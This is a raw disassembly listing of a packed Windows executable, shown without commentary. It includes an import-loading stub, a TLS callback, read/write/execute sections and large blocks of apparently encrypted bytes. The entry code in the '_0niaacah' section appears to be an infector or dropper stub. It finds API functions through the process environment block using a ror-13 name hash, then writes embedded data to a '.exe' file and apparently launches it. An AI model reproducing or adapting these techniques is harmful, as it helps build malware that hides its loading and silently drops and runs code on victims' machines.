		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_432A42
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_42A0B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_4329D7
		push	ebx
		call	ds:dword_42A0B8	; LoadLibraryA
		or	eax, eax
		jz	loc_432A3A


loc_4329D7:				; CODE XREF: sub_432992+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]


loc_4329DF:				; CODE XREF: sub_432992+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_4329EF
		mov	eax, [esi+10h]


loc_4329EF:				; CODE XREF: sub_432992+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_432AE7
		test	ebx, 80000000h
		jnz	loc_432A16
		lea	ebx, [ebx+edx+2]


loc_432A16:				; CODE XREF: sub_432992+7Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_42A0BC	; GetProcAddress
		or	eax, eax
		jz	loc_432A3A
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_4329DF
; ---------------------------------------------------------------------------
		align 2


loc_432A3A:				; CODE XREF: sub_432992+3Fj
					; sub_432992+96j
		push	ebx
		mov	eax, ebx
		call	sub_432A49


loc_432A42:				; CODE XREF: sub_432992+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_432992	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A49	proc near		; CODE XREF: sub_432992+ABp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_432A80:				; CODE XREF: sub_432A49+98j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_432AC0
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	ds:dword_42A104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_42A0C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_432AC0:				; CODE XREF: sub_432A49+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_432A80
sub_432A49	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432992


loc_432AE7:				; CODE XREF: sub_432992+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_4329AA
; END OF FUNCTION CHUNK	FOR sub_432992
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_432AF7	proc near		; CODE XREF: fzj3qwht:loc_432BFBp
					; TlsCallback_0p
		mov	eax, offset loc_42E77C

locret_432AFC:				; DATA XREF: sub_432AFD+8o
		retn
sub_432AF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_432AFD	proc near		; DATA XREF: fzj3qwht:00432488o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp+14h+var_14]
		sub	ebx, offset locret_432AFC
		mov	eax, 3552h
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_42A0C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset loc_42E77C
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_42E5F8
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp+10h+var_10]
		push	8000h
		push	0
		push	eax
		mov	eax, 42A0C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_432BB2
		mov	ebx, eax
		call	loc_432C13
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_432BB2
		push	ebx
		mov	ebx, ecx


loc_432B7D:				; CODE XREF: sub_432AFD+91j
					; sub_432AFD+A4j ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_432B90
		and	eax, 0FFh
		jmp	short loc_432B7D
; ---------------------------------------------------------------------------


loc_432B90:				; CODE XREF: sub_432AFD+8Aj
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_432BA3
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_432B7D
; ---------------------------------------------------------------------------


loc_432BA3:				; CODE XREF: sub_432AFD+9Bj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_432B7D
		pop	eax


loc_432BB2:				; CODE XREF: sub_432AFD+6Dj
					; sub_432AFD+7Bj
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_432AFD	endp

; ---------------------------------------------------------------------------
		db 71h
		dd 0ECA4C4B5h, 16CD4F1Dh, 1214CA77h, 7C5A5B5Fh,	5C369DC3h
		dd 0B35F1167h, 0F1DD2A88h, 0E01A34A4h, 46CD7BACh, 8B8D7E9Ch
		dd 6F9E4CFh, 0CE8FD41Eh, 0F1840A2Ch, 907FE463h,	183465A4h
		dd 6766B1CAh
; ---------------------------------------------------------------------------
		sbb	cl, 0Dh


loc_432BFB:				; DATA XREF: _0niaacah:starto
		call	sub_432AF7
		add	eax, 3A21h
		jmp	eax

; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: fzj3qwht:TlsCallbackso
		call	sub_432AF7
		add	eax, 3652h
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------


loc_432C13:				; CODE XREF: sub_432AFD+71p
		call	sub_432C1C
; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh

; =============== S U B	R O U T	I N E =======================================



sub_432C1C	proc near		; CODE XREF: fzj3qwht:loc_432C13p
		pop	esi
		retn
sub_432C1C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 4400h
		dd 5B3EDAD7h, 412498DAh, 0F0F31623h, 3856BBF4h,	607FD985h
		dd 8DB84176h, 0AE996ACDh, 3FDA4F69h, 0BAF4909Eh, 0DF2262ADh
		dd 406D6A1Fh, 0CD405B75h, 0D8A9E18Ch, 0D129EDh,	6A986F79h
		dd 21525096h, 88696278h, 14E2E870h, 6ECA8AA6h, 5A2DA0D3h
		dd 0D73ABF70h, 3A5656A8h, 0FEEFDBDDh, 90FAC4E3h, 0D72C351Bh
		dd 0BC6807BFh, 235A3818h, 0AC513EA8h, 3C231832h, 0F87B5308h
		dd 0A07AF8FEh, 6B95396Ch, 5DFB0866h, 4CDF600Bh,	0EA862C62h
		dd 45B0A381h, 0EA70DB2Bh, 1F39173Eh, 186C70BCh,	0C8CE76C0h
		dd 869F4C06h, 0A5972B87h, 39901101h, 7C44CDB5h,	0DBDA524Eh
		dd 0BC42CEDAh, 1D74815Bh, 0BBC0A223h, 2B04BE05h, 0B2465399h
		dd 83293B8Fh, 85E2A6B4h, 618719D3h, 94537716h, 0D4276967h
		dd 8688FCFh, 0EC769E6Dh, 524C9C95h, 92FAE5EFh, 76629C2h
		dd 3A8AA89Bh, 878A8CA2h, 17FC0B92h, 8165106Eh, 17EA2E43h
		dd 0B57826D2h, 0DF173313h, 0E7683F03h, 0F73CDBD0h, 6BE5F018h
		dd 0CDDC7147h, 91672DAEh, 0BB63C025h, 0D164FE33h, 627BBDAFh
		dd 5EB21B3Ch, 0D26BF6ABh, 132BDD4Dh, 0B6D33AE7h, 8B4F83F3h
		dd 0A84AE68Ah, 5CE03F76h, 0B15FC6AAh, 93A6784Fh, 59FB43E8h
		dd 0B78D8581h, 79CBD223h, 51CFF99h, 9F27F404h, 0AE20EE5Bh
		dd 572D1752h, 0A9DC8BE9h, 0ED8D4A5Ah, 0DC111DEFh, 96668384h
		dd 4779B786h, 0B6A1C373h, 0EBA8BC88h, 0C3D0B703h, 9F3771Ah
		dd 0D34D1169h, 4895A016h, 0FCEA58A1h, 0FA72E5FDh, 0A7B18E38h
		dd 811BC240h, 0B5A029C7h, 0BF3AF0BBh, 59ABB1Ch,	0C3A0C780h
		dd 0A53CB0B2h, 0D7620EDh, 5A212085h, 0F54AF50h,	9436BF69h
		dd 49D2A841h, 60B02B3Dh, 25F742F6h, 79AD21D4h, 807CC78h
		dd 80h dup(0)
fzj3qwht	ends

; Section 6. (virtual address 00033000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 00033000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_0niaacah	segment	para public 'CODE' use32
		assume cs:_0niaacah
		;org 433000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 0AB5E1283h, 0EE2E4F85h, 0A21AF640h, 187E1BA7h, 442A8D2Eh
		dd 592EED57h, 0F54F8ADCh, 0C5B27650h, 0C19BA443h, 0F0D7F9A6h
		dd 8434B2D9h, 0FABFA5B4h, 0B700B523h, 38221697h, 9253B481h
		dd 13F51AF6h, 0B4AB90EBh, 0AAD48554h, 0AA2F0602h, 4262E9C1h
		dd 0C1667B4Eh, 64E7AE3Bh, 0BB199E62h, 54C76A68h, 8320F216h
		dd 29E00987h, 0BB1B305h, 524EFF69h, 0E47CEC4Ah,	0EDE67963h
		dd 0A5F2C3Eh, 32D8AB12h, 0B0B3DBFFh, 0D6D32A50h, 0F3607458h
		dd 3CCD17E3h, 7E118CA7h, 377C6056h, 3794AA30h, 9FC2AB4h
		dd 842B5C0Ah, 0EB304762h, 410249BDh, 0DFCA4BF8h, 40748234h
		dd 0E062B084h, 0E3024343h, 0A2E3269Dh, 211F3384h, 0E334B12Ch
		dd 43BE7CF8h, 6006936Ch, 0C520A37h, 2BFA848Eh, 8B70E934h
		dd 5F306E66h, 97B4471Dh, 679FC261h, 155E6029h, 0A70393D6h
		dd 0DE35895Dh, 2726E003h, 0F1DE01BCh, 11A7180Ah, 7292659Bh
		dd 0F71F23CCh, 0BE47F394h, 0A51B3BBEh, 5C2424CCh, 5824025Ah
		dd 0CD8B64AFh, 0B1EB4CA0h, 0DE472A41h, 414DB42Eh, 3EC8C72h
		dd 0FB812DA4h, 82603D9h, 834FCA46h, 7225FB86h, 0EA46B8C7h
		dd 0C00D4BD8h, 972AC96Ah, 0CE002559h, 4F752881h, 0D70A7ACCh
		dd 1BD3FA40h, 87526E87h, 0DDF4433h, 3725B715h, 71C13CEBh
		dd 74028A51h, 551A2423h, 0E9BCF3BBh, 234C2CF8h,	1C76D1ABh
		dd 0EAAF6A51h, 27FA2DF2h, 59CC520Ch, 6A22D6C7h,	5E1BAF01h
		dd 0EA6AAA9Dh, 4E9ECF3Bh, 9655DF51h, 5680EF5Bh,	59930D8Dh
		dd 0E4304007h, 394BF5D9h, 1BE2B0C7h, 0F617F2DDh, 179AFE4Eh
		dd 644054Eh, 9E319C09h,	0BF9BC967h, 23F32ED5h, 7F34216Dh
		dd 3775BBCAh, 2C2AFAA9h, 0D7498025h, 6259D11Bh,	12084A33h
		dd 7C42A872h, 79C47E87h, 36ED56A9h, 72E26D14h, 55133D51h
		dd 17B7DC52h, 0B79BE0Ch, 0EDD9B88Dh, 380h dup(0)
; ---------------------------------------------------------------------------

		public start
start:
		push	offset loc_432BFB
		call	sub_43402C
		xor	al, 0ADh
		out	77h, al
; ---------------------------------------------------------------------------
aPpcwDcwoCwiCw_	db '¯æwÆ„æwOÍæw›Ðæw.ãæwqÐæw',0
		align 4
		dd 7E0000h

; =============== S U B	R O U T	I N E =======================================



sub_43402C	proc near		; CODE XREF: _0niaacah:00434005p
		call	sub_4340B9
		pop	eax
		pusha
		lea	ebp, [eax-0Ah]
		call	sub_4340A4
		sub	esp, 400h
		mov	esi, esp
		push	esi
		push	200h
		call	dword ptr [ebp+0Ah]
		push	esi
		push	0
		lea	eax, [ebp+2Ah]
		push	eax
		push	esi
		call	dword ptr [ebp+0Eh]
		mov	edi, esi
		xor	eax, eax
		mov	cl, 0FFh
		repne scasb
		mov	dword ptr [edi-1], 6578652Eh
		mov	[edi+3], al
		push	1001h
		lea	eax, [esi+200h]
		mov	byte ptr [eax],	87h
		push	eax
		push	esi
		call	dword ptr [ebp+16h]
		mov	edi, eax
		push	dword ptr [ebp+131h]
		lea	eax, [ebp+135h]
		push	eax
		push	edi
		call	dword ptr [ebp+1Ah]
		push	edi
		call	dword ptr [ebp+1Eh]
		push	0
		push	esi
		call	dword ptr [ebp+12h]
		add	esp, 400h
		popa
		retn
sub_43402C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4340A4	proc near		; CODE XREF: sub_43402C+Ap
		pusha
		mov	edi, eax


loc_4340A7:				; CODE XREF: sub_4340A4+11j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4340B7
		push	ebx
		push	eax
		call	sub_4340DD
		stosd
		jmp	short loc_4340A7
; ---------------------------------------------------------------------------


loc_4340B7:				; CODE XREF: sub_4340A4+7j
		popa
		retn
sub_4340A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4340B9	proc near		; CODE XREF: sub_43402Cp
		push	ebp
		mov	eax, large fs:30h
		test	eax, eax
		js	short loc_4340D0
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	short loc_4340D9
; ---------------------------------------------------------------------------


loc_4340D0:				; CODE XREF: sub_4340B9+9j
		mov	eax, [eax+34h]
		mov	ebp, [eax+0B8h]


loc_4340D9:				; CODE XREF: sub_4340B9+15j
		mov	ebx, ebp
		pop	ebp
		retn
sub_4340B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4340DD	proc near		; CODE XREF: sub_4340A4+Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4340F3:				; CODE XREF: sub_4340DD+33j
		jecxz	short loc_434127
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld


loc_4340FE:				; CODE XREF: sub_4340DD+2Dj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_43410C
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4340FE
; ---------------------------------------------------------------------------


loc_43410C:				; CODE XREF: sub_4340DD+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4340F3
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_434129
; ---------------------------------------------------------------------------


loc_434127:				; CODE XREF: sub_4340DD:loc_4340F3j
		xor	eax, eax


loc_434129:				; CODE XREF: sub_4340DD+48j
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_4340DD	endp

; ---------------------------------------------------------------------------
		db 48h,	78h, 0
		dd 4B5A4D00h, 454E5245h, 2E32334Ch, 4C4C44h, 455000h, 3014C00h
		dd 11B0BE00h, 50AD0040h, 0EB3476FFh, 301487Ch, 4C010B01h
		dd 4C64616Fh, 61726269h, 417972h, 101800h, 1000h, 1000000h
		dd 40000000h, 100000h, 20000h, 400h, 38000000h,	400h, 0
		dd 2100000h, 20000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 0A00h, 2 dup(0)
		dd 201EE00h, 1400h, 2 dup(0)
		dd 3876FF00h, 3E8B50ADh, 4200F0BEh, 59276A00h, 76FFA5F3h
		dd 0FFC88304h, 0EBABDF8Bh, 1Ch,	74654700h, 636F7250h, 72646441h
		dd 737365h, 2 dup(0)
		dd 40AB4000h, 0ABF304B1h, 0B50AE0C1h, 8BABF31Ch, 51570C7Eh
		dd 1742CE9h, 4B1E300h, 0E803E0D3h, 3318538Dh, 514055C0h
		dd 0EA8BE0D3h, 4C56FF91h, 0D159D233h, 0E2D213E8h, 0EA035DFAh
		dd 6B895945h, 0F78B5608h, 0A4F3F52Bh, 80B15EACh, 347E3BAAh
		dd 0FE97820Fh, 5F58FFFFh, 8A1BE359h, 18044707h,	0F773023Ch
		dd 13C078Bh, 0B0F175h, 4603C80Fh, 0ABC72B38h, 5D5EE5E2h
		dd 46595159h, 74C085ADh, 9756511Fh, 0AC93D1FFh,	0FB75C084h
		dd 0EA740638h, 579C68Bh, 66C03346h, 0FF5350ADh,	0E7EBABD5h
		dd 10000C3h, 100000h, 1F000h, 1000h, 41100000h,	4184D400h
		dd 82E00h, 6000h, 401000E0h, 41850900h,	0F00000h, 1100000h
		dd 764800h, 20000h, 409BFC00h, 40FFFF00h, 41864800h, 6000h
		dd 410619E0h, 400FFC00h, 100000h, 2000000h, 1F000h, 1000h
		dd 4184A100h, 4184A400h, 4184B300h, 6000h, 28E0h, 0BE00h
		dd 2 dup(0)
		dd 2000000h, 0E8000000h, 7D700011h, 0DE194FFBh,	8434EEB3h
		dd 4DEBDF46h, 1BE507AFh, 682C3855h, 65DFCDC5h, 78B7A432h
		dd 39D856D1h, 105B2AC2h, 0B425B004h, 76E5A90Fh,	9A287442h
		dd 6EBFF2F2h, 4F67CB71h, 0FC84266Dh, 0B3558C55h, 552ABF90h
		dd 2DC1F5C0h, 2E76A96Eh, 0B51101E9h, 0DEB16C80h, 7C529113h
		dd 22EC7482h, 0CCB5C1CEh, 0C2F64F9Bh, 0C1F1936Dh, 998B8F23h
		dd 2062B04h, 509E76BEh,	1B179C8Ch, 24C55824h, 80DA57BAh
		dd 0B3794B61h, 0F480B77Ah, 0C85E7E5Ah, 0E4AECA4Ch, 0E66241E5h
		dd 0C0B468EEh, 1BA5B5FAh, 6A2D5DDDh, 521C1E2Ch,	0AE159427h
		dd 0B366AF8Ch, 301DEDEDh, 0FE42DF5Ch, 0D6C75660h, 0E2F8451Bh
		dd 6B289F19h, 0ECD1E66Eh, 84A0655h, 14DBD3F7h, 0E5F6BF7Ah
		dd 25990B28h, 0D37F02FEh, 0FBD2FF16h, 9FE37B5Fh, 7B1C818Ah
		dd 0E3D9DF59h, 0FCAAD56Bh, 33ED29CFh, 0D992EAB7h, 84D7447Ah
		dd 6E8F937Dh, 0BC7FB400h, 5AF5C60h, 0B4F8072Ch,	0EED43C07h
		dd 701AA4DBh, 9525D097h, 0B980D889h, 0CCD33E19h, 31314B0h
		dd 4A7CD498h, 0F247B028h, 596F6F0Ch, 653583A1h,	74DC74BFh
		dd 9E48C7F6h, 2B5C91FBh, 0C978E63Dh, 4C8CB995h,	5A81CBC5h
		dd 3AD87787h, 0E293D1Ah, 79AA4F89h, 0F20C3A62h,	4B8CCABDh
		dd 0FA0BD625h, 0FB0FB631h, 86CD763Eh, 47603BFEh, 5A4E2C15h
		dd 4528C1D0h, 0F92EDAFCh, 3C3FE71Ch, 0F3AD5B8Dh, 46DCD384h
		dd 0B5D56E31h, 6D6083B5h, 4802019Ah, 0EC20B8E0h, 0DA71ACF5h
		dd 0A7826DB8h, 0B8119483h, 6B521167h, 0F5DC09C0h, 551C6879h
		dd 63EC9C14h, 9B92705Ah, 0B0533975h, 7B284EDDh,	21B25503h
		dd 15DA48C6h, 0F1E809CEh, 0B00546D5h, 0DF99819h, 0CEC5C953h
		dd 20142F66h, 3CE52BBFh, 95C6CE65h, 0D5777602h,	0ECC11454h
		dd 0A28F4621h, 4523AEDh, 0E869F8FEh, 86D9F553h,	0C234910Eh
		dd 0B99CAF83h, 0E167155Fh, 0E56F08B4h, 0F118964h, 0DF5F3F7h
		dd 0CA87A541h, 7B2B23F1h, 6251372h, 8A6D9C5Ch, 1B07E4F9h
		dd 746F4229h, 0ACA7E5Dh, 0A7B3F6F4h, 0B8141B14h, 0CFE925CDh
		dd 264ED749h, 8139C69Fh, 54F2E42Fh, 93DD7B46h, 365E4F10h
		dd 7A314685h, 0A5887DC1h, 0D682D8C9h, 82DA568Fh, 9998FA9Eh
		dd 36FF591Bh, 9078DD5Bh, 48AC9A4Ch, 0D60B9EA1h,	3FB4542Fh
		dd 3110B3EDh, 4D3A4019h, 0D28F7D65h, 9113022Bh,	59FE190Dh
		dd 2B6E8181h, 61AC8908h, 2ED25A38h, 4DF04E09h, 5B05E67Eh
		dd 9EA4F2D5h, 96A7646h,	67A7E59Ah, 4E711384h, 0E82885F5h
		dd 7185997Ch, 0A951BC3Ch, 2F2CF1Eh, 14E5B0ACh, 0EB4040EDh
		dd 704F0741h, 33FF3369h, 0C8895A6Bh, 0DA0C75F9h, 4674C44Bh
		dd 0F33CE65h, 17111322h, 3D5CA16Ah, 726CF9D8h, 0A3CC6D5h
		dd 49F8EA38h, 0D14345F7h, 728E6469h, 0E30546F9h, 0B11DD583h
		dd 15D70694h, 0A6D68947h, 88BC8442h, 1CB15AB9h,	5DAF7E1Bh
		dd 0D58F4CEBh, 187E039Fh, 69BE4BDDh, 0B2D47EE5h, 0CA5CDD6Eh
		dd 0A0699B3Ah, 0A3DF14F4h, 958ABC4Dh, 4A413759h, 4E61A7A0h
		dd 1B21FC9h, 8C1CDA3Fh,	7B46BB1Eh, 6096B6A9h, 6DCB59Ch
		dd 0AC7A1A7Bh, 325E850Dh, 0C2890B8h, 611AE594h,	0C287700Dh
		dd 666D95D1h, 4A92205Eh, 0A2432DFCh, 0BDBFC23Dh, 2713CE15h
		dd 0B6BA5712h, 0C8370BB0h, 22099199h, 0ECA4937Fh, 12F18965h
		dd 0FF4A6A8Ch, 6520F10Eh, 0E1F93E96h, 3501DC5Eh, 3B92163Ch
		dd 95741EACh, 2755DA11h, 0AD184107h, 0E3F45D15h, 0FB90912Bh
		dd 0FA7BBBADh, 187D42B8h, 4DCA901Ch, 0D3E367F8h, 41FA52D1h
		dd 0CB6856DDh, 5C6212E8h, 0D6D8222Eh, 5FF663C2h, 0DC2FD6B4h
		dd 7F643867h, 2A261B8Ah, 0E270B291h, 0ADE9A4D0h, 0C69E5C7Bh
		dd 0A29ADBA2h, 735BDC34h, 0E1764BC3h, 51AFFD97h, 5A5840DFh
		dd 5FDD732Eh, 5BB98F17h, 0CCD03A07h, 0FEDC4BA7h, 2AFF50C1h
		dd 4019BAF9h, 0D03E6C4Ch, 23216958h, 2EF3E50Eh,	7DB4ED93h
		dd 78AF8F19h, 8CF1F948h, 0FDD7FD60h, 9CB8FAD4h,	8288CB14h
		dd 978B54EEh, 517EA2EDh, 0EAADBA88h, 4E8EBA29h,	0EEA084C1h
		dd 6E3ED5EDh, 0BF193E6Bh, 0B0A65D67h, 0CEE88F79h, 7C180147h
		dd 1F491483h, 0F84F16BEh, 0CF1DB8Eh, 92A4F102h,	31AFD646h
		dd 8159C18h, 0DCCB2530h, 5CD5BA3Ch, 78B49C36h, 0D64D74BEh
		dd 0EE40923Ch, 24214B77h, 787FEA8Eh, 0F742A66Fh, 68A13DECh
		dd 7BF5147Fh, 4CEFDDF6h, 754DB438h, 28469A39h, 509EB835h
		dd 60E26EA0h, 0DFA6F387h, 330F7CA2h, 1ABB0D29h,	8417CADFh
		dd 574E54D8h, 3D364D2Ah, 0F13C1300h, 7E406E8Fh,	356FB6FAh
		dd 0FDC04CF4h, 0A7341BCAh, 7C2B60FDh, 0C560DD2Ah, 1CCA74E3h
		dd 11A26C0Bh, 6F73992Ch, 71C7A5BEh, 0AA7BF64Bh,	6A2ED83Ah
		dd 176D643Bh, 286AECE2h, 0FDDEBCE8h, 8D3D16CFh,	0FFBC019Eh
		dd 3DCF392Ch, 0AD0DB6D7h, 1B5D9246h, 82032440h,	64CE936Ah
		dd 2DC2EB07h, 0F31DC907h, 34E087BDh, 77E5279Dh,	0D1D65DD6h
		dd 9078FAADh, 0C41C4F50h, 0F8F5B614h, 10F85F7Eh, 7A709EE5h
		dd 0B8592A28h, 97A123B8h, 0F1F5ACB2h, 28BFDA5Eh, 0AA82768Fh
		dd 414AC3BAh, 0F2DEED9Ch, 9262F9A8h, 0A3AC5D9Eh, 9BB9F317h
		dd 0FFC73166h, 1BB2292Bh, 0D9DED1D7h, 0E95E90ACh, 0BE9A597h
		dd 3C6166E6h, 0BD10EE6Ch, 0F32A2B4Ah, 3925A097h, 59F92CE8h
		dd 787545BFh, 0C5498498h, 0B934F005h, 7436F48h,	2555AA96h
		dd 88E58851h, 60F198EBh, 216C29Bh, 12D5219Eh, 991E6B8Fh
		dd 14713750h, 3C24B0F2h, 2CBDEDCBh, 732119FBh, 84191ADEh
		dd 0F9F48809h, 0FC2D87D7h, 31A9BC0Bh, 17B899C8h, 2536D965h
		dd 0F382E0FDh, 4CD71AB6h, 0FB967019h, 771A5FE9h, 763C1D6Fh
		dd 2E9869FEh, 0A541456Ah, 779EEACh, 0E7FEF516h,	963FB4CDh
		dd 0C30E74C7h, 6560F23Ch, 0AA387707h, 0D5BDA4C1h, 61D5AB3Dh
		dd 586EC1A4h, 0FB5F139h, 8DE84C0Ah, 0D9FF67A1h,	4545DDF0h
		dd 52C24AF2h, 0A42B55A5h, 0AAC1E11Eh, 2ECDF42Ch, 0CE3BDEA3h
		dd 2E5849FAh, 1950DC77h, 0D16C01FDh, 0ABAC5827h, 64B3BDA7h
		dd 7DB52C98h, 0B5162E4Eh, 384AAACAh, 2597E493h,	3E93E7CCh
		dd 77FC5C55h, 7E8EF854h, 0FBB892A2h, 42A34E23h,	107D8589h
		dd 41CA5D39h, 86637F18h, 5109FB43h, 3013EC58h, 42BCBE49h
		dd 0EA3DA3BCh, 810C1AC1h, 0DE6E8A67h, 0CE21A5B2h, 1E82D8A9h
		dd 581B2616h, 4066D5D3h, 0F50CD1ECh, 0F2D264C5h, 0B8EFBAD9h
		dd 0B594B95Ch, 0E1EEA4F2h, 1F0A37FEh, 44D0C2A5h, 0C99ED060h
		dd 98BE7A6Bh, 39331768h, 8A708D6Fh, 6AD4C450h, 0BCA7375Fh
		dd 0D189BFDCh, 67393661h, 4168544Bh, 893D94D4h,	92E88279h
		dd 818A4B33h, 0F16D61A0h, 0ADD5E24Eh, 8F57FF61h, 32901110h
		dd 0E8A4C1E2h, 232859F3h, 8339A536h, 2BB7DC08h,	0CA384F78h
		dd 0EAA702EBh, 0F217031Ch, 32F848D8h, 18DB08D2h, 0BFCECA7Eh
		dd 2197C4B7h, 23599854h, 15F16029h, 0A58396D8h,	6A696BD5h
		dd 80FC161h, 0FD7397ACh, 0BDE3238Bh, 0E5BFD938h, 78DCFD63h
		dd 0E116A3BAh, 0AD966188h, 0ADE197A5h, 0CCDAB45Bh, 9984BC03h
		dd 0F0A027BEh, 0CBFF10AAh, 0D405FEC6h, 8F3B1A53h, 0AD45595Ah
		dd 4491D673h, 890DEAB5h, 0A1E2731Fh, 985A3F12h,	6FF3CC5h
		dd 41CD3116h, 10F6E3D5h, 2AE9806Ch, 3D55C477h, 85676D66h
		dd 66D8078h, 0D986DCACh, 0DD65186Eh, 8F481F1Eh,	0B2D3C7B8h
		dd 4E15E490h, 1F919135h, 0BB073846h, 95C39B12h,	636325BCh
		dd 4D85B046h, 0FAF7B4AFh
		dd 27323321h, 4FB6B8D3h, 994758EEh, 8A275252h, 6137C8C4h
		dd 0E227B35Fh, 75DF0A1Ah, 0E7C4788Bh, 46637DC9h, 5064DEAFh
		dd 86EA9F55h, 96D9BE73h, 0F50ED102h, 0C49F780h,	0C31427A5h
		dd 7D3EF29Ch, 0A12E2AF3h, 8E46A4DCh, 0F696C74Fh, 3868188Dh
		dd 254D9A7Eh, 7B8C7893h, 0AB84AD45h, 651E86C4h,	0FCC179E0h
		dd 25394470h, 916C027Bh, 97508951h, 2E436E55h, 4C9BCA61h
		dd 0AAECE5FBh, 0CA86BA4h, 7CD0EDF0h, 0BC8893D4h, 91B96321h
		dd 27D6BB99h, 14CBB9CFh, 8D35AFC8h, 0F8BCE626h,	0C837CD3Fh
		dd 0D8F52C0Fh, 7B9D4CFEh, 615EA097h, 0D9CA8A7h,	0C39A1E0Bh
		dd 0EF4C861h, 0B32651B4h, 0F4E5AFEEh, 285C8B5Bh, 1CA1D560h
		dd 92EF9F5Ch, 558C0A93h, 40A04181h, 0EC501E8Fh,	0F698C9A5h
		dd 6FA05FEBh, 74904BAFh, 176F4C74h, 30B11595h, 3EDF7ED2h
		dd 424CBE7Dh, 0BD691624h, 520944A0h, 0CE5647CEh, 0B620C052h
		dd 0C4EC0A3Dh, 3D151CE7h, 4F7EDE90h, 0AB111A33h, 47A0C158h
